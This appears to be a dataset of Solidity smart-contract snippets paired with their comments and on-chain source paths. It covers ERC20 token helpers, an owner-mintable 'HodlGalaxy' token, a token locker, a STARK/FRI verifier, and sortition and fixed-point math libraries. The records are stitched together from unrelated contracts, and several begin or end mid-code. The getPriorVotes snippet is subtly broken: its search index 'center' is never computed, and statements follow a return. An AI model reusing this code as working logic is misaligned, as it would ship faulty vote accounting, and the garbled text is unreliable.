Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } function setInCooldown(bool _inCooldown) public onlyOwner { inCooldown = _inCooldown; } function setMaxTxAmount(uint256 _maxTxAmount) public onlyOwner { maxTxAmount = _maxTxAmount; } function isExcluded(address account) public view returns(bool) { return _isExcluded[account]; } function setIsExcluded(address account) public onlyOwner { _isExcluded[account] = true; } function tranzCount(address account) public view returns(uint256) { return _tranzCount[account]; } } // File: contracts/MyToken.sol pragma solidity >=0.6.12; contract HodlGalaxy is Context, ERC20 { using SafeMath for uint256; using Address for address; event Burn(address indexed _sender, uint256 amount); event Add(address indexed account, uint256 amount); uint tokenTotalSupply = 100000000; constructor() public ERC20("HodlGalaxy", "HGALAXY") { _add(msg.sender, tokenTotalSupply * (10 ** uint256(decimals()))); } function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); emit Burn(_msgSender(), amount); } function add(address account, uint256 amount) public onlyOwner { _add(account, amount); emit Add(account, amount); } }
Sets `amount` as the allowance of `spender` over the `owner` s tokens. This internal function is equivalent to `approve`, and can be used to e.g. set automatic allowances for certain subsystems, etc. Emits an {Approval} event. Requirements: - `owner` cannot be the zero address. - `spender` cannot be the zero address./
function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); }
8,315
./partial_match/1/0xD43F1308f9108AFE36AEC5549608b61DBad7dBd8/sources/contracts/Locker/Locker.sol
this is the function to unlock the locked tokens
function unlockTokens() public { LockerInfo memory _lockerInfo = lockerInfo; require(msg.sender == _lockerInfo.owner, "Not owner of the locker"); require(block.timestamp >= lockerInfo.unlockTime, "Not unlocked yet"); require(_lockerInfo.status == Status.LOCKED, "Already redeemed"); lockerInfo.status = Status.REDEEMED; _lockerInfo.token.transfer(_lockerInfo.owner, _lockerInfo.numOfTokensLocked); emit LockerUnlocked (_lockerInfo.id, _lockerInfo.numOfTokensLocked, block.timestamp, 1); }
15,662,276
./full_match/43114/0xd31Fdc40323AedDd07c631Fc42576Be9A63791F3/sources/contracts/MasterChef.sol
First check most recent balance Next check implicit zero balance
function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "TOKEN::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; }
4,519,403
./full_match/56/0xd3935d75242FdAc8424af056f2B3de5AF956268A/sources/YouSui_ProxyOperation.sol
Interface for {TransparentUpgradeableProxy}. In order to implement transparency, {TransparentUpgradeableProxy} does not implement this interface directly, and some of its functions are implemented by an internal dispatch mechanism. The compiler is unaware that these functions are implemented by {TransparentUpgradeableProxy} and will not include them in the ABI so this interface must be used to interact with it./
interface ITransparentUpgradeableProxy is IERC1967 { function changeAdmin(address) external; function upgradeTo(address) external; function upgradeToAndCall(address, bytes memory) external payable; }
3,243,467
pragma solidity ^0.6.4; pragma experimental ABIEncoderV2; import './public_coin.sol'; import './primefield.sol'; import './merkle.sol'; import './proof_types.sol'; import './utils.sol'; import './trace.sol'; import '@nomiclabs/buidler/console.sol'; contract Fri is Trace, MerkleVerifier { using PublicCoin for PublicCoin.Coin; using PrimeField for uint256; using PrimeField for uint256[]; using Utils for *; struct FriContext { uint256[][] fri_values; bytes32[] fri_commitments; bytes32[][] fri_decommitments; uint8[] fri_layout; uint256[] eval_points; uint8 log_eval_domain_size; uint256[] queries; uint256[] polynomial_at_queries; uint256[] last_layer_coefficients; } struct LayerContext { uint256[8] roots; uint256[] x_inv; uint256 size; uint256 log_size; uint256 coset_size; uint256 generator; } // Maximum supported coset size uint256 constant MAX_COSET_SIZE = 8; // Eight order roots of unity // omega_8^1 .. omega_8^7 (note omega_8^4 = -1) uint256 constant OROOT1 = 0x063365fe0de874d9c90adb1e2f9c676e98c62155e4412e873ada5e1dee6feebb; uint256 constant OROOT2 = 0x0625023929a2995b533120664329f8c7c5268e56ac8320da2a616626f41337e3; uint256 constant OROOT3 = 0x03b912c31d6a226e4a15988c6b7ec1915474043aac68553537192090b43635cd; uint256 constant OROOT4 = 0x0800000000000011000000000000000000000000000000000000000000000000; uint256 constant OROOT5 = 0x01cc9a01f2178b3736f524e1d06398916739deaa1bbed178c525a1e211901146; uint256 constant OROOT6 = 0x01dafdc6d65d66b5accedf99bcd607383ad971a9537cdf25d59e99d90becc81e; uint256 constant OROOT7 = 0x0446ed3ce295dda2b5ea677394813e6eab8bfbc55397aacac8e6df6f4bc9ca34; // Reads from channel random and returns a list of random queries function get_queries( PublicCoin.Coin memory coin, uint8 max_bit_length, uint8 num_queries ) internal pure returns (uint256[] memory) { uint256[] memory queries = new uint256[](num_queries); // This mask sets all digits to one below the bit length uint256 bit_mask = (uint256(2)**max_bit_length) - 1; // We derive four queries from each read for (uint256 i = 0; i <= num_queries / 4; i++) { bytes32 random = coin.read_bytes32(); for (uint256 j = 0; j < 4; j++) { // For numbers of queries which are not diviable by four this prevents writing out of bounds. if (4 * i + j < num_queries) { // Note - uint64(random) would take the last bytes in the random and this takes the first. queries[4 * i + j] = uint256(uint64(bytes8(random))) & bit_mask; // Shifts down so we can get the next set of random bytes random <<= 64; } } } queries.sort(); return queries; } // Unwraping endpoint because the main function has too deep of a stack otherwise function fri_check( ProofTypes.StarkProof memory proof, uint8[] memory fri_layout, uint256[] memory eval_points, uint8 log_eval_domain_size, uint256[] memory queries, uint256[] memory polynomial_at_queries ) internal { trace('fri_check', true); fold_and_check_fri_layers( FriContext( proof.fri_values, proof.fri_commitments, proof.fri_decommitments, fri_layout, eval_points, log_eval_domain_size, queries, polynomial_at_queries, proof.last_layer_coefficients ) ); trace('fri_check', false); } // This function takes in fri values, decommitments, and layout and checks the folding and merkle proofs // Note the final layer folded values will be overwritten to the input data locations. function fold_and_check_fri_layers(FriContext memory fri_data) internal { trace('fold_and_check_fri_layers', true); LayerContext memory layer_context = LayerContext({ roots: [1, OROOT4, OROOT2, OROOT6, OROOT1, OROOT5, OROOT3, OROOT7], x_inv: new uint256[](fri_data.queries.length), size: uint256(1) << fri_data.log_eval_domain_size, log_size: fri_data.log_eval_domain_size, coset_size: uint256(1) << fri_data.fri_layout[0], generator: 0 }); layer_context.generator = PrimeField.root(layer_context.size); uint256[] memory merkle_indices = new uint256[](fri_data.queries.length); bytes32[] memory merkle_val = new bytes32[](fri_data.queries.length); // Initialize x_inv trace('init_x_inv', true); for (uint256 i = 0; i < fri_data.queries.length; i++) { uint256 index = fri_data.queries[i]; index = index.bit_reverse2(layer_context.log_size); index = layer_context.size - index; layer_context.x_inv[i] = layer_context.generator.fpow(index); } trace('init_x_inv', false); // Fold layers for (uint256 i = 0; i < fri_data.fri_layout.length; i++) { layer_context.coset_size = uint256(1) << fri_data.fri_layout[i]; require(layer_context.coset_size <= MAX_COSET_SIZE, 'Coset too large'); // Overwrites and resizes the data array and the querry index array // They will contain the folded points and indexes fold_layer( fri_data.polynomial_at_queries, fri_data.queries, fri_data.fri_values[i], fri_data.eval_points[i].from_montgomery(), layer_context, merkle_val ); // Merkle verification is in place but we need unchanged data in the next loop. fri_data.queries.deep_copy(merkle_indices); // Since these two arrays only truncate we can safely resize them if (fri_data.queries.length != merkle_indices.length) { uint256 num_queries = fri_data.queries.length; merkle_indices.truncate(num_queries); merkle_val.truncate(num_queries); } // TODO - Consider abstracting it up to a (depth, index) format like in the rust code. uint256 next_layer_size = layer_context.size / layer_context.coset_size; for (uint256 j = 0; j < merkle_indices.length; j++) { merkle_indices[j] += next_layer_size; } // We now check that the folded indices and values verify against their decommitment require( verify_merkle_proof( fri_data.fri_commitments[i], merkle_val, merkle_indices, fri_data.fri_decommitments[i] ), 'Fri merkle verification failed' ); // Update layer context layer_context.size = next_layer_size; layer_context.log_size -= fri_data.fri_layout[i]; layer_context.generator = layer_context.generator.fpow(layer_context.coset_size); } // We now test that the commited last layer values interpolate the final fri folding values // Note: We could re-use x_inv and compute x^length * P(x_inv) with reversed coefficients. // Observe here that x^length is a value that can be looked up from a `blowup` sized coset. // This optimization does not seem worthwile though. trace('last_layer', true); for (uint256 i = 0; i < fri_data.polynomial_at_queries.length; i++) { uint256 exponent = fri_data.queries[i]; exponent = exponent.bit_reverse2(layer_context.log_size); uint256 x = layer_context.generator.fpow(exponent); trace('horner_eval', true); uint256 calculated = fri_data.last_layer_coefficients.horner_eval(x); trace('horner_eval', false); require(calculated == fri_data.polynomial_at_queries[i], 'Last layer coeffients mismatch'); } trace('last_layer', false); trace('fold_and_check_fri_layers', false); } // This function takes in a previous layer and fold and reads from it and writes new folded layers to the next layer. // It will overwrite any memory in that location. function fold_layer( uint256[] memory values, uint256[] memory indices, uint256[] memory coset_completion, uint256 eval_point, LayerContext memory layer_context, bytes32[] memory coset_hash_output ) internal { trace('fold_layer', true); // Reads how many of the cosets we've read from uint256 read_index = 0; uint256 write_index = 0; uint256 completion_index = 0; uint256[] memory coset = new uint256[](layer_context.coset_size); while (read_index < values.length) { uint256 next_index = indices[read_index]; // Each coset length elements in the domain are one coset, so to find which one the current index is // we have to take it mod the length, to find the starting index we subtract the coset index from the // current one. uint256 coset_start = next_index - (next_index % layer_context.coset_size); uint256 coset_end = coset_start + layer_context.coset_size; // Adjust x_inv to the start of the coset using a root uint256 x_inv = layer_context.x_inv[read_index]; x_inv = x_inv.fmul(layer_context.roots[next_index - coset_start]); // Collect the coset values trace('fold_layer_collect', true); for (uint256 index = coset_start; index < coset_end; index += 1) { // This check is if the current index is one which has data from the previous layer, // or if it's one with data provided in the proof if (next_index == index) { // Set this coset's data to the previous layer data at this index coset[index - coset_start] = values[read_index]; // Advance the index from the read read_index += 1; if (read_index < indices.length) { // Set the current index to the next one next_index = indices[read_index]; } } else { // This happens if the data isn't in the previous layer so we use our extra data. coset[index - coset_start] = coset_completion[completion_index]; completion_index += 1; } } trace('fold_layer_collect', false); // Hash the coset and store it so we can do a merkle proof against it coset_hash_output[write_index] = merkle_leaf_hash(coset); // Do the actual fold and write it to the next layer (values[write_index], layer_context.x_inv[write_index]) = fold_coset(coset, x_inv, eval_point); // Record the new index indices[write_index] = coset_start / layer_context.coset_size; write_index += 1; } values.truncate(write_index); indices.truncate(write_index); trace('fold_layer', false); } // Returns the fri folded point and the inverse for the base layer, which is x_inv on the next layer function fold_coset( uint256[] memory coset, uint256 x_inv, uint256 eval_point ) internal returns (uint256 result, uint256 next_x_inv) { trace('fold_coset', true); uint256 factor = mulmod(eval_point, x_inv, PrimeField.MODULUS); if (coset.length == 8) { // Note: We are using inlined field operations for performance reasons. // OPT: Could inline `fold`. // OPT: Could use assembly to avoid bounds check on array. (if it's not optimized away) uint256 a = fold(coset[0], coset[1], factor); uint256 b = fold(coset[2], coset[3], mulmod(factor, OROOT6, PrimeField.MODULUS)); uint256 c = fold(coset[4], coset[5], mulmod(factor, OROOT7, PrimeField.MODULUS)); uint256 d = fold(coset[6], coset[7], mulmod(factor, OROOT5, PrimeField.MODULUS)); factor = mulmod(factor, factor, PrimeField.MODULUS); a = fold(a, b, factor); b = fold(c, d, mulmod(factor, OROOT6, PrimeField.MODULUS)); factor = mulmod(factor, factor, PrimeField.MODULUS); result = fold(a, b, factor); x_inv = mulmod(x_inv, x_inv, PrimeField.MODULUS); x_inv = mulmod(x_inv, x_inv, PrimeField.MODULUS); next_x_inv = mulmod(x_inv, x_inv, PrimeField.MODULUS); } else if (coset.length == 4) { uint256 a = fold(coset[0], coset[1], factor); uint256 b = fold(coset[2], coset[3], mulmod(factor, OROOT6, PrimeField.MODULUS)); factor = mulmod(factor, factor, PrimeField.MODULUS); result = fold(a, b, factor); x_inv = mulmod(x_inv, x_inv, PrimeField.MODULUS); next_x_inv = mulmod(x_inv, x_inv, PrimeField.MODULUS); } else if (coset.length == 2) { result = fold(coset[0], coset[1], factor); next_x_inv = mulmod(x_inv, x_inv, PrimeField.MODULUS); } else { result = coset[0]; } trace('fold_coset', false); } // We now do the actual fri folding operation // f'(x) = (f(x) + f(-x)) + eval_point / x * (f(x) - f(-x)) function fold( uint256 positive, uint256 negative, uint256 factor ) internal pure returns (uint256) { // even = f(x) + f(-x) (without reduction) uint256 even = positive + negative; // odd = f(x) - f(-x) (without reduction) uint256 odd = positive + PrimeField.MODULUS - negative; // result = even + factor * odd return addmod(even, mulmod(factor, odd, PrimeField.MODULUS), PrimeField.MODULUS); } }
Reads from channel random and returns a list of random queries This mask sets all digits to one below the bit length We derive four queries from each read For numbers of queries which are not diviable by four this prevents writing out of bounds. Note - uint64(random) would take the last bytes in the random and this takes the first. Shifts down so we can get the next set of random bytes
function get_queries( PublicCoin.Coin memory coin, uint8 max_bit_length, uint8 num_queries ) internal pure returns (uint256[] memory) { uint256[] memory queries = new uint256[](num_queries); uint256 bit_mask = (uint256(2)**max_bit_length) - 1; for (uint256 i = 0; i <= num_queries / 4; i++) { bytes32 random = coin.read_bytes32(); for (uint256 j = 0; j < 4; j++) { if (4 * i + j < num_queries) { queries[4 * i + j] = uint256(uint64(bytes8(random))) & bit_mask; random <<= 64; } } } queries.sort(); return queries; }
12,927,765
./full_match/43113/0xAffB28c5D32cd207536f157Eb05Ae277Ff4aAFBe/sources/staking.flat__1_.sol
it calculates fee amount Calculates the fee amount./
function calculateFee(uint256 _feeInBips, uint256 _amount) internal pure returns (uint256) { return _amount.mul(_feeInBips).div(FEE_BASE); }
7,128,140
pragma solidity 0.5.0; library UniformRandomNumber { /// @author Brendan Asselstine /// @notice Select a random number without modulo bias using a random seed and upper bound /// @param _entropy The seed for randomness /// @param _upperBound The upper bound of the desired number /// @return A random number less than the _upperBound function uniform(uint256 _entropy, uint256 _upperBound) internal pure returns (uint256) { uint256 min = -_upperBound % _upperBound; uint256 random = _entropy; while (true) { if (random >= min) { break; } random = uint256(keccak256(abi.encodePacked(random))); } return random % _upperBound; } } contract ICErc20 { address public underlying; function mint(uint mintAmount) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function balanceOfUnderlying(address owner) external returns (uint); function getCash() external view returns (uint); function supplyRatePerBlock() external view returns (uint); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool wasInitializing = initializing; initializing = true; initialized = true; _; initializing = wasInitializing; } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. uint256 cs; assembly { cs := extcodesize(address) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable is Initializable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function initialize(address sender) public initializer { _owner = sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[50] private ______gap; } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @reviewers: [@clesaege, @unknownunknown1, @ferittuncer] * @auditors: [] * @bounties: [<14 days 10 ETH max payout>] * @deployments: [] */ /** * @title SortitionSumTreeFactory * @author Enrique Piqueras - <epiquerass@gmail.com> * @dev A factory of trees that keep track of staked values for sortition. */ library SortitionSumTreeFactory { /* Structs */ struct SortitionSumTree { uint K; // The maximum number of childs per node. // We use this to keep track of vacant positions in the tree after removing a leaf. This is for keeping the tree as balanced as possible without spending gas on moving nodes around. uint[] stack; uint[] nodes; // Two-way mapping of IDs to node indexes. Note that node index 0 is reserved for the root node, and means the ID does not have a node. mapping(bytes32 => uint) IDsToNodeIndexes; mapping(uint => bytes32) nodeIndexesToIDs; } /* Storage */ struct SortitionSumTrees { mapping(bytes32 => SortitionSumTree) sortitionSumTrees; } /* Public */ /** * @dev Create a sortition sum tree at the specified key. * @param _key The key of the new tree. * @param _K The number of children each node in the tree should have. */ function createTree(SortitionSumTrees storage self, bytes32 _key, uint _K) public { SortitionSumTree storage tree = self.sortitionSumTrees[_key]; require(tree.K == 0, "Tree already exists."); require(_K > 1, "K must be greater than one."); tree.K = _K; tree.stack.length = 0; tree.nodes.length = 0; tree.nodes.push(0); } /** * @dev Set a value of a tree. * @param _key The key of the tree. * @param _value The new value. * @param _ID The ID of the value. * `O(log_k(n))` where * `k` is the maximum number of childs per node in the tree, * and `n` is the maximum number of nodes ever appended. */ function set(SortitionSumTrees storage self, bytes32 _key, uint _value, bytes32 _ID) public { SortitionSumTree storage tree = self.sortitionSumTrees[_key]; uint treeIndex = tree.IDsToNodeIndexes[_ID]; if (treeIndex == 0) { // No existing node. if (_value != 0) { // Non zero value. // Append. // Add node. if (tree.stack.length == 0) { // No vacant spots. // Get the index and append the value. treeIndex = tree.nodes.length; tree.nodes.push(_value); // Potentially append a new node and make the parent a sum node. if (treeIndex != 1 && (treeIndex - 1) % tree.K == 0) { // Is first child. uint parentIndex = treeIndex / tree.K; bytes32 parentID = tree.nodeIndexesToIDs[parentIndex]; uint newIndex = treeIndex + 1; tree.nodes.push(tree.nodes[parentIndex]); delete tree.nodeIndexesToIDs[parentIndex]; tree.IDsToNodeIndexes[parentID] = newIndex; tree.nodeIndexesToIDs[newIndex] = parentID; } } else { // Some vacant spot. // Pop the stack and append the value. treeIndex = tree.stack[tree.stack.length - 1]; tree.stack.length--; tree.nodes[treeIndex] = _value; } // Add label. tree.IDsToNodeIndexes[_ID] = treeIndex; tree.nodeIndexesToIDs[treeIndex] = _ID; updateParents(self, _key, treeIndex, true, _value); } } else { // Existing node. if (_value == 0) { // Zero value. // Remove. // Remember value and set to 0. uint value = tree.nodes[treeIndex]; tree.nodes[treeIndex] = 0; // Push to stack. tree.stack.push(treeIndex); // Clear label. delete tree.IDsToNodeIndexes[_ID]; delete tree.nodeIndexesToIDs[treeIndex]; updateParents(self, _key, treeIndex, false, value); } else if (_value != tree.nodes[treeIndex]) { // New, non zero value. // Set. bool plusOrMinus = tree.nodes[treeIndex] <= _value; uint plusOrMinusValue = plusOrMinus ? _value - tree.nodes[treeIndex] : tree.nodes[treeIndex] - _value; tree.nodes[treeIndex] = _value; updateParents(self, _key, treeIndex, plusOrMinus, plusOrMinusValue); } } } /* Public Views */ /** * @dev Query the leaves of a tree. Note that if `startIndex == 0`, the tree is empty and the root node will be returned. * @param _key The key of the tree to get the leaves from. * @param _cursor The pagination cursor. * @param _count The number of items to return. * @return The index at which leaves start, the values of the returned leaves, and whether there are more for pagination. * `O(n)` where * `n` is the maximum number of nodes ever appended. */ function queryLeafs( SortitionSumTrees storage self, bytes32 _key, uint _cursor, uint _count ) public view returns(uint startIndex, uint[] memory values, bool hasMore) { SortitionSumTree storage tree = self.sortitionSumTrees[_key]; // Find the start index. for (uint i = 0; i < tree.nodes.length; i++) { if ((tree.K * i) + 1 >= tree.nodes.length) { startIndex = i; break; } } // Get the values. uint loopStartIndex = startIndex + _cursor; values = new uint[](loopStartIndex + _count > tree.nodes.length ? tree.nodes.length - loopStartIndex : _count); uint valuesIndex = 0; for (uint j = loopStartIndex; j < tree.nodes.length; j++) { if (valuesIndex < _count) { values[valuesIndex] = tree.nodes[j]; valuesIndex++; } else { hasMore = true; break; } } } /** * @dev Draw an ID from a tree using a number. Note that this function reverts if the sum of all values in the tree is 0. * @param _key The key of the tree. * @param _drawnNumber The drawn number. * @return The drawn ID. * `O(k * log_k(n))` where * `k` is the maximum number of childs per node in the tree, * and `n` is the maximum number of nodes ever appended. */ function draw(SortitionSumTrees storage self, bytes32 _key, uint _drawnNumber) public view returns(bytes32 ID) { SortitionSumTree storage tree = self.sortitionSumTrees[_key]; uint treeIndex = 0; uint currentDrawnNumber = _drawnNumber % tree.nodes[0]; while ((tree.K * treeIndex) + 1 < tree.nodes.length) // While it still has children. for (uint i = 1; i <= tree.K; i++) { // Loop over children. uint nodeIndex = (tree.K * treeIndex) + i; uint nodeValue = tree.nodes[nodeIndex]; if (currentDrawnNumber >= nodeValue) currentDrawnNumber -= nodeValue; // Go to the next child. else { // Pick this child. treeIndex = nodeIndex; break; } } ID = tree.nodeIndexesToIDs[treeIndex]; } /** @dev Gets a specified ID's associated value. * @param _key The key of the tree. * @param _ID The ID of the value. * @return The associated value. */ function stakeOf(SortitionSumTrees storage self, bytes32 _key, bytes32 _ID) public view returns(uint value) { SortitionSumTree storage tree = self.sortitionSumTrees[_key]; uint treeIndex = tree.IDsToNodeIndexes[_ID]; if (treeIndex == 0) value = 0; else value = tree.nodes[treeIndex]; } /* Private */ /** * @dev Update all the parents of a node. * @param _key The key of the tree to update. * @param _treeIndex The index of the node to start from. * @param _plusOrMinus Wether to add (true) or substract (false). * @param _value The value to add or substract. * `O(log_k(n))` where * `k` is the maximum number of childs per node in the tree, * and `n` is the maximum number of nodes ever appended. */ function updateParents(SortitionSumTrees storage self, bytes32 _key, uint _treeIndex, bool _plusOrMinus, uint _value) private { SortitionSumTree storage tree = self.sortitionSumTrees[_key]; uint parentIndex = _treeIndex; while (parentIndex != 0) { parentIndex = (parentIndex - 1) / tree.K; tree.nodes[parentIndex] = _plusOrMinus ? tree.nodes[parentIndex] + _value : tree.nodes[parentIndex] - _value; } } } /** * @title FixidityLib * @author Gadi Guy, Alberto Cuesta Canada * @notice This library provides fixed point arithmetic with protection against * overflow. * All operations are done with int256 and the operands must have been created * with any of the newFrom* functions, which shift the comma digits() to the * right and check for limits. * When using this library be sure of using maxNewFixed() as the upper limit for * creation of fixed point numbers. Use maxFixedMul(), maxFixedDiv() and * maxFixedAdd() if you want to be certain that those operations don't * overflow. */ library FixidityLib { /** * @notice Number of positions that the comma is shifted to the right. */ function digits() public pure returns(uint8) { return 24; } /** * @notice This is 1 in the fixed point units used in this library. * @dev Test fixed1() equals 10^digits() * Hardcoded to 24 digits. */ function fixed1() public pure returns(int256) { return 1000000000000000000000000; } /** * @notice The amount of decimals lost on each multiplication operand. * @dev Test mulPrecision() equals sqrt(fixed1) * Hardcoded to 24 digits. */ function mulPrecision() public pure returns(int256) { return 1000000000000; } /** * @notice Maximum value that can be represented in an int256 * @dev Test maxInt256() equals 2^255 -1 */ function maxInt256() public pure returns(int256) { return 57896044618658097711785492504343953926634992332820282019728792003956564819967; } /** * @notice Minimum value that can be represented in an int256 * @dev Test minInt256 equals (2^255) * (-1) */ function minInt256() public pure returns(int256) { return -57896044618658097711785492504343953926634992332820282019728792003956564819968; } /** * @notice Maximum value that can be converted to fixed point. Optimize for * @dev deployment. * Test maxNewFixed() equals maxInt256() / fixed1() * Hardcoded to 24 digits. */ function maxNewFixed() public pure returns(int256) { return 57896044618658097711785492504343953926634992332820282; } /** * @notice Maximum value that can be converted to fixed point. Optimize for * deployment. * @dev Test minNewFixed() equals -(maxInt256()) / fixed1() * Hardcoded to 24 digits. */ function minNewFixed() public pure returns(int256) { return -57896044618658097711785492504343953926634992332820282; } /** * @notice Maximum value that can be safely used as an addition operator. * @dev Test maxFixedAdd() equals maxInt256()-1 / 2 * Test add(maxFixedAdd(),maxFixedAdd()) equals maxFixedAdd() + maxFixedAdd() * Test add(maxFixedAdd()+1,maxFixedAdd()) throws * Test add(-maxFixedAdd(),-maxFixedAdd()) equals -maxFixedAdd() - maxFixedAdd() * Test add(-maxFixedAdd(),-maxFixedAdd()-1) throws */ function maxFixedAdd() public pure returns(int256) { return 28948022309329048855892746252171976963317496166410141009864396001978282409983; } /** * @notice Maximum negative value that can be safely in a subtraction. * @dev Test maxFixedSub() equals minInt256() / 2 */ function maxFixedSub() public pure returns(int256) { return -28948022309329048855892746252171976963317496166410141009864396001978282409984; } /** * @notice Maximum value that can be safely used as a multiplication operator. * @dev Calculated as sqrt(maxInt256()*fixed1()). * Be careful with your sqrt() implementation. I couldn't find a calculator * that would give the exact square root of maxInt256*fixed1 so this number * is below the real number by no more than 3*10**28. It is safe to use as * a limit for your multiplications, although powers of two of numbers over * this value might still work. * Test multiply(maxFixedMul(),maxFixedMul()) equals maxFixedMul() * maxFixedMul() * Test multiply(maxFixedMul(),maxFixedMul()+1) throws * Test multiply(-maxFixedMul(),maxFixedMul()) equals -maxFixedMul() * maxFixedMul() * Test multiply(-maxFixedMul(),maxFixedMul()+1) throws * Hardcoded to 24 digits. */ function maxFixedMul() public pure returns(int256) { return 240615969168004498257251713877715648331380787511296; } /** * @notice Maximum value that can be safely used as a dividend. * @dev divide(maxFixedDiv,newFixedFraction(1,fixed1())) = maxInt256(). * Test maxFixedDiv() equals maxInt256()/fixed1() * Test divide(maxFixedDiv(),multiply(mulPrecision(),mulPrecision())) = maxFixedDiv()*(10^digits()) * Test divide(maxFixedDiv()+1,multiply(mulPrecision(),mulPrecision())) throws * Hardcoded to 24 digits. */ function maxFixedDiv() public pure returns(int256) { return 57896044618658097711785492504343953926634992332820282; } /** * @notice Maximum value that can be safely used as a divisor. * @dev Test maxFixedDivisor() equals fixed1()*fixed1() - Or 10**(digits()*2) * Test divide(10**(digits()*2 + 1),10**(digits()*2)) = returns 10*fixed1() * Test divide(10**(digits()*2 + 1),10**(digits()*2 + 1)) = throws * Hardcoded to 24 digits. */ function maxFixedDivisor() public pure returns(int256) { return 1000000000000000000000000000000000000000000000000; } 